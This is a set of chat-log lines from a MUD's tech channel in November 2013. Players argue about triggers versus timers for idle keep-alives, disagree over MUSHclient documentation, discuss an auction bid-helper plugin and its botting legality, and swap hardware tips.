T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: much more safe especially when you get underwater
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: one needs to parse every line from the MUD, the other doesn't
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Kosirk draws out his Sword of Coding and prepares for battle!
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: I've drowned, thanks to trigger after 6 hours my corpse has decayed
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: nod, idling can definitely be a drawback
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Well, 6 hours idle is extreme :P I mean... Going to sleep or out? Just d/c man :P
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: using spellup you are quite saef, because when you die you are in aylor clinic resting
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: well, according to you kosirk, we shouldn't d/c :P
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: But, both a timer and a trigger use minimal amounts of memory and cpu. It's practically immeasureable. All incoming data, from the server, is parsed, regardless. Does having it matched with a case more heavy than having a 10minute match? Nope.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: how many times it needs to be parsed is what the trigger changes, whereas the timer doesn't have that issue
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Zade Tech: the fifteen minute idle out and forced quit at thirty minutes, protects the players from losing corpses -- an hour idle-out is dangerous
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: it's 5 hours to lose corpse...an hour wouldn't be dangerous, merely unnecessary
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: well, you can still "override" that time-out with your timer or trigger
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tlamacazqui Tech: it's 3 hours to lose corpse - but yeah an hour wouldnt be dangerous
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: if you're here to chat, then you'd be chatting ;-)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: There is only 1 more parsing for a trigger, than without one. The parsing after 15 minutes, for 'glaze'. The timer, on 10 minutes, would parse every 10 minutes! That's 15m versus 10m, my friend :P
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Sir Mandy Mandorallen Tech: What happens if the corpse still contains (owned) items after three hours? Are all the items destroyed?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: maybe there should be option that after death you need to stand or will be logged out after 15 minutes of activity other than stand
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: corpses rot to leave items on the ground, they don't destroy the items
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tlamacazqui Tech: nope - all items in players corpses fall to the ground
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Sir Mandy Mandorallen Tech: ah, cool, thanks
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Hanslanda Tech: actually, that's not how triggers work, Kosirk.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Kosirk agrees with Trachx.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Did you know the word "Tahc" which is "Chat" backwords means "To speak" in greek?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: kosirk: no, parsing for 'glaze' is parsed for every single line that the MUD sends, not just when 'glaze' is sent
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Zade Tech: pc dies, chats an hour, forgets about corpse, at least on telnet, thirty minutes later, the corpse is safe
T3/r7/2013-11-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: why the rotting then.. its clearly something that can happen only if the player has made a "technical" mistake
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Abelinc, every line is parsed automatically, regardless. Only the 'matched' situation is an extra.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: well, that happened to me (I mean items dropped to ground), and I have a lot of aard gear, luckily 2 players picked it up and notified imm (there were too many eq for them)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: no kosirk
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Hanslanda Tech: triggers have to be matched on every line, to determine if a match has occurred or not.  That's why you try to put as much plain text and narrow-definition wildcards as you can.  The faster you fail the match, the less resources are used to check.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: every line is parsed automatically once for every trigger in existence
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: not a single grand-unified parse
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Every line from the server is checked against existing triggers. If there are any triggers, then it would try to match them. The matching fails on first disagreement. It's not slower than a timer checking every second (milisecond) for the 'time goal'.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: you keep believing whatever you like, I'll continue knowing how they actually work :P
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Pleiades grabs some popcorn and sits back to watch the show.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: timer will be more efficient than trigger, still it really does not matter when you have modern CPU
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: until very recently, I MUDded on a 166MHz CPU running a 64-bit OS...I like scripting for efficiency :-)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: A timer checks against the variable every millisecond. A trigger, however, only checks when there is incoming data! Ha!
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: You smirk.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: you are wrong
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Zade Tech: (yeah, dem nonprogrammers dunt knows whats theys talkins sbout, ssss)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Kosirk agrees with Zade :P
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: your version of timers will consume 100% CPU time
T3/r7/2013-11-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm. about that old idle-botting. i don't remember absolutely any case that this was the reason for nuke. "help botting" doesn't list it. yet it does say, its illegal. there is no way to prove if it was an accident or not. so - the rule just doesn't work here
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: "tech -h pattern"
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Trachx, computers are big clocks. A timer is only a trigger against a variable check, that counts and saves its' own value every millisecond. A trigger is just an input against a variable check. It's not as if adding a check turns CPU load to max. The computer is checking stuff every millisecond, regardless. More load is more checks, not more timers.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: that's not how timers are generally implemented within programs, kosirk, and not within any MUD clients that I know of...
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: IIRC timers are supported at hardware level, still you can use your 'software' timer - just infinite loop checking whether your timer should just fire or still wait
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: the first one, though is running all the time does not influence CPU load, the second one will consume 100% CPU
T3/r7/2013-11-23.txt.gz:{chan ch=tech}ElFeneri Tech: a good hardware timerblock consumes next to no current. A good implementation of it does not involve the CPU until it fiers an interrupt letting the CPU know something happened which then serves the interrupt.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: A software timer is a trigger table using hardware timers o-o http://wiki.answers.com/Q/What_is_software_timer
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: I invite you to put profiling into your scripts to try to improve efficiency if you're so inclined
T3/r7/2013-11-23.txt.gz:{chan ch=tech}ElFeneri Tech: but I have absolutely no idea how the timers are implemented in MUSH for instance. I'd be surprised if it's a while loop reading out time and checking it against the times set in your timer settings though..
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: you'll find that timers will be more efficient than triggers, and that that efficiency gets more pronounced as length of timer increases
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Arnica Tech: Geez we are talking about a ten minute keep alive, and y'all have gone bonkers on how to do it efficiently. Wasted more time talking than doing.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: sure, if you put in a timer to have something proc every tenth of a second it'll likely outweigh a trigger
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Gener Tech: spellup script works good for me
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: well, there is still hope for Kosirk, so not really waste of time
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: as long as you're not in a nospell room or otherwise unable to spellup
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: A function that checks itself every millisecond puts more CPU load, compared to a function that only checks against input. Memory load? Timers tend to eat up more memory than hit and release triggers, afaik.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Gener Tech: well, I only idle in aylor
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: for idle, the timer has the secondary benefit that it doesn't rely on the glaze over message never changing :-)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}ElFeneri Tech: Kosirk, a poor implementation of it might do that, yes.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: you still mess HW timers with SW timers
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: timer wouldn't consume more memory, as there's less information to be remembered for the timer
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Kosirk should really do his quest, already. :P
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: heh, in 142 days, cron has taken 35.12 seconds
T3/r7/2013-11-23.txt.gz:{chan ch=tech}ElFeneri Tech: for instance, most systems use a timer block for ticks. A hardware timer correctly programmed will not bother the CPU until the alarm goes. Such an implementation of a timer would be ideal from a current consumption and/or CPU load point of view.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}ElFeneri Tech: Kosirk, what you should do is remort :-P
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: nod, clients often use a high-precision and a low-precision timer
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: ElFenerei, this isn't the channel for talk about player preferences. :P
T3/r7/2013-11-23.txt.gz:{chan ch=tech}ElFeneri Tech: Kosirk, and now you're absolutely right :)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Ayasinda falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: only time you'll hear that today ;-)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Kosirk fears no oldplayer.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Vexthorne Tech: What would be causing mush to update the map window in the main window rather than the small dedicated map window?  The one with the legend
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: type "tags"
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: ensure that "Global" is "On", and that "Map" is "YES"
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Vexthorne Tech: thanks :)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: no prob :-)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Vexthorne Tech: What would cause information directly after my prompt to not be captured correctly?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Loreli Tech: line return?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Vexthorne Tech: I have %c at the end for a carriage return thinking that would help but I don't think it did
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Vexthorne Tech: Oh, I see the issue I think
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Vexthorne Tech: Thanks!
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Loreli Tech: Heh, glad I could help spin the wheels.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ryv Tech: is there a way to set the start of one area in another area (e.g. lower/upper planes to amusement park)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Elxi Tech: Everyone see Soul Calibur is out for Android now? :)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Boy oh boy, did that take too long, just to get the Mushclient scripting to work >< Finally mbid works as an xml plugin.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Untested for bids over 100k :P Supposedly, it should request a doulbe send, as confirmation. A cute idea I had.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I have a sound to remind me when it is quest time :p like I've even listened the past month or so though x.x
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Hehe. I stripped the miniwindows script down into just the miniwindow itself, and added the old quest noter script into it :P
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Now, I have a small nice window with my quest info, and it also has a timer for during the quest, and after, for when I can have another.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: xD I haven't needed to do anything script related for so long that I've forgotten how to do anything other than simple stuff. Horridly out of practice.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I actually needed help with the quest time sound trigger.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I'm very angry at Nick Gammon. Many things script related are horribly unclear for anyone who jumps into it. Lots of small things, that you'd never guess, without someone specifically talking about it on the forums.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I don't get angry. I get confused.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: VERY confused.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: It took me a long while, before I actually went scripting here. At first, it was so unclear as to how things worked, so uninuitive, that I wouldn't do the least.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: Mushclient is easier for me to handle than most clients though, so I cannot complain about Nick Gammon.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Oh, the client itself is superb. Nick is a brilliant coder. He's just a horrible designer and documentator. :P
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Definitely Defines Tech: which often goes hand in hand with being a brilliant developer :p
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: from what I remember, the documents are a bit boring, but they are clear. A bit too tiring to read though.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: They are clear, but they do not properly guide a new user in the ways of getting results. Maybe it's more specifically the lack of appropriate examples, which is why I needed so much help from existing scripts.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I just chalked it up to my horrid attention span.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: You could be at fault, as well :P
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I know that I am very much at fault.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Hrm, I should probably make a sound and alert thingy for when people Ping me. I am a Blacksmith with services to give, after all.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I have enough annoyance listining to my voice taunt me to do my darn quests x.x
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: listening*
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: LOL You actually used your own voice recording?!
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: yes.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I meant a flashing taskbar and a quick gentle tone.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: even that may get to be annoying after a while.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: it'd be like someone texting you constantly.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I haven't even done very many quests for a coupla weeks though x.x I need to get back on top of that. That and leveling.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Nah, having it run just once for every ping is fine. Not like a long ringtone.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Whoa, this is a totally new character, I see.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: depending on how much demand you have- I used to play a game where whenever someone pm'd you, talked in group chat, or talked in guild chat, a sound played. Different sounds for different chats, but being even slightly popular could drive one up the walls on that game x.x
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Nah, anything other than pings specifically, should be quiet and logged. Pings are for emergencies and services, basically.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Hrm, no ping command in this game, eh?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Mommas Boy Devol Tech: theres a page command
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I'm sorry, is someone talking about Nick Gammon being a bad documenter? Show me any one-man project of anywhere NEAR this scope which has better documentation than Help->Functions List
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: Imma head out back to read, laters bro.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: cheers
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is literally a cut-n-paste and a few button clicks to create a sound trigger on whatever output you want...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Playing a ping noise, an alarm, some music, whatever.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ranrr Tech: Bah, who needs documentation if you have the source code? :D
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Piffaron Tech: woah, slow down egghead
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Woo, Page, nice! Can someone page me, please? I'd like to see it.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Vakieh, just because he's done great work, which he did and does, doesn't mean that the documentation is friendly towards new users. A fault is a fault is a fault.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The fault lies with people expecting to be able to program without learning how to program...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The documentation is the friendliest you will find for anything even close to this level of scripting power
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: My own experiences as an experienced coder, and seeing the forums, shows me how much is lacking. I don't see why he couldn't simply add more practical examples.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: For example, he tends to use <send> after triggers and aliases, instead of discussing more examples with functions and wildcards. Very annoying.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The forum is packed with walkthrough examples of every type of script you can imagine, and the aardmush package comes ready made with bucketloads more. What more do you need? Because if you ask the question on the forums I've yet to see longer than a 7-day turnaround with working examples posted
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Redryn Tech: you're saying nick's documentation is bad?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Redryn Tech: i think it's pretty darn good
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Redryn Tech: especially for people who have no experience whatsoever
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I agree, Vakieh. I'm saying it's lacking in the official docu'. I'm saying that how Mushclient is sorted is unintuitive and extremeply upsetting, and I'm not the only one saying that. That's all. Are we a minority? I don't know.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I'll put all my recent work in the forum, so that others can review and improve, however. I'm sure I'll learn a lot from that. :)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I just can't understand what you could be comparing it to - or why when the forums are presented as more or less official documentation you would dismiss them as a source of that education
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Gener Tech: just put him on ignore, you will be better off in the long run.  he seems to think he knows all also
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Pooky Tech: put who on ignore now?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Definitely Defines Tech: 0h
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Gener Tech: vak
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Definitely Defines Tech: personally, I think wondering why someone didnt provide documentation with free software begs the more pertinent question why, if you've realized this need, aren't YOU writing it for the community
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I love when I get to answer a question and someone who is ignoring me continues to pitifully whine about nobody responding :-) Happened with a certain someone's questions at least 3 times
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Encouraging people to Ignore others publicly is offensive. Better use a Tell.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Gener Tech: lol
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: 1. The forums are insufficient, as I've said. 2. Defines, I am :D Well, at least I'm making my scripts, and then sharing them for review. What better way to learn than from actual examples? :D
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Definitely Defines Tech: he doesnt owe anybody anything. he's provided awesome free software and the source. documentation about code should not teach programming, the idea that it should is absoluetly ridiculous. API docs don't cover language features. go learn programming dont blame some coder for not holding your hand when he releases code
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: Captain HR Vakieh is agreeing with that Definitely Defines person again...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Definitely Defines Tech: excellent, please do share them :)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: Kosirk apparently you don't have programming experience, Lua / Mush related forums are really helpful
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Defines, no, I wasn't talking about programming. I was talking about the specific thingies that relate to the client, only.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Definitely Defines Tech: like what? it seems like you were just talking about scripting in general. he didn't give examples. why should he? it seems out of scope
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Are you serious? He made videos and still people complain... http://www.youtube.com/watch?v=tGrA-Q7uqC0
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Redryn Tech: you have an option, the closest competitor is probably zuggsoft
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Examples that show how to achieve specific results, common to muds, by using his interface is very relevant. For example, he has the "regexp" option. It was very confusing at first, which I should use, as scripts mix regexp and non-regexp expressions.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Redryn Tech: go check out their documentation :p
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Hxsesthuli Tech: Or just write your own as a learning experience. :D
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: Definitely Defines nods at Hxsesthuli.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I tried checking out some TinTin features the other day. Let's just say I'm glad I know a guy.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Redryn Tech: can you give a specific example of something you were looking up and found documentation inadequate for?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Ohhh, you will see in my scripts :D haha My misunderstands are rather clear there.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ranrr Tech: I chose tintin just because it was so simple and easy to script and use. But then, I am awesome.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Wait, I thought you were being cynical. You actually do think that Tin Tin is friendlier, then?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ranrr Tech: To me it is. 
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: TinTin is great if you're a *nix native and know how to program. TinTin would eat people whining about MUSH being hard alive :-P
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ranrr Tech: Oh, I forgot to mention my 20 years of unix experience, and 30 years of coding experience.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Before I post, can someone tell me if this is working? Files being available there and all. https://www.dropbox.com/sh/vntyvhifmwa71jw/aUnMxCD_hP
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: 5 xml files
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I do have several years of Linux experience, and more years of coding experience, myself. Although, I am not a professional.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ixle Tech: I don't like guis. #act {Pattern} {Command} style of making stuff and then just pasting a bunch of those in to a text file for reading feels natural to me.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Anybody got a nice sound for beep/paging? :)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: unless you like the sound of me taunting you, no :p
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I can even taunt all frenchlike, haunhaunhaun.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: Kosirk laughs
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Can you send me you doing a 2 second frenchman? something funny maybe? :P I'd like that.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: 2 seconds is too short for my humor xD
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I hope my new post in the forum is proper o-o Noobs never know.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Aha, great success! Now, my mbid plugin should run faultless. All tested. :P
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: string.gsub in Lua is comfortable.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: what about bidding on 3 items ? every has its own range ?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: The syntax is "mbid BIDNUM", so you use it freely. It rechecks everything every time.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: In other words, it sends "bid # 1" to get the latest min bid, every time.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: I see, still it seems to me that plugin allowing for : bid 333 350k could be even more useful
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: or bid 333 3.2mil
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Gener Tech: does it bid for you?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Turie Tech: If it bids for you, then it is illegal since it is a bot.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Velian Tech: that was changed
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Gener Tech: yes i was goingto say that it would be illegal
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Velian Tech: or no talked about changing maybe, i don't remember
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: you mean mbid? it is not illegal if you need to mbid every item before bid
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Gener Tech: read help bot  not changed
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: if you just do mbit and it wins auction then it is probably illegal
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: It's not auto-bid, for those wondering. It just saves hassle, by using the mbid alias, to bid the next lowest bid.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: It's all up for review, anyways, so no worries.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Trachx, having 345k and 345m converted accordingly, should be pretty easy, if that's what you want. I hadn't thought of that, actually.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: yes, just simple convert, but allowing for 3.5mil so not just change mil into 6 zeroes (000000) but rather multiply number 
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: What's the difference?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Velian Tech: adding 6 zeroes to 3.5 would be 3.5000000... quite a bit difference
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: xbid 333 3.5m = bid 333 3500000 (5 zeroes)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Oh lol, yeah good point!
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Well, a plugin with an alias like "qbid bidnum amnt" that parses the amnt var accordingly, would be pretty easy to make.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Turie Tech: Any suggestions on a universal cellphone car vent holder?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Would a qbid alias do the trick for ya, Trachx? I'm not sure I'd like a plugin that interrupts the regular bid command.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: yes, no need to intercept bid, qbid is good enough
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Turie Tech: I take it that there is no suggestions.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: cellphone car holder? what for ?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Turie Tech: A cellphone
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: right, still, you need to talk while driving ?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Turie Tech: Yes.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Maybe dx.com have something cheap? :D
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Turie Tech: I am looking for one to be a hands free setup.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: then why not just bluetooth headset ?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: I mean loose items can be dangerous in case of accident
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Turie Tech: I would like to use my cellphone as a GPS too. Bluetooth headset is pointless for that.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: why not cellphone manufacturer's accesory then ?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Turie Tech: Because I want something that is not suck to a certain cellphone make or model.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trachx Tech: I think even universal holder is not so universal, I mean if you need to use connectors in your phone
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Turie Tech: I found a nice CD holder, but some cars I deal with do not have a CD player.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}TrEz Tech: when I fullscreen youtube video
T3/r7/2013-11-24.txt.gz:{chan ch=tech}TrEz Tech: it puts it in the corner and rest of the screen is black
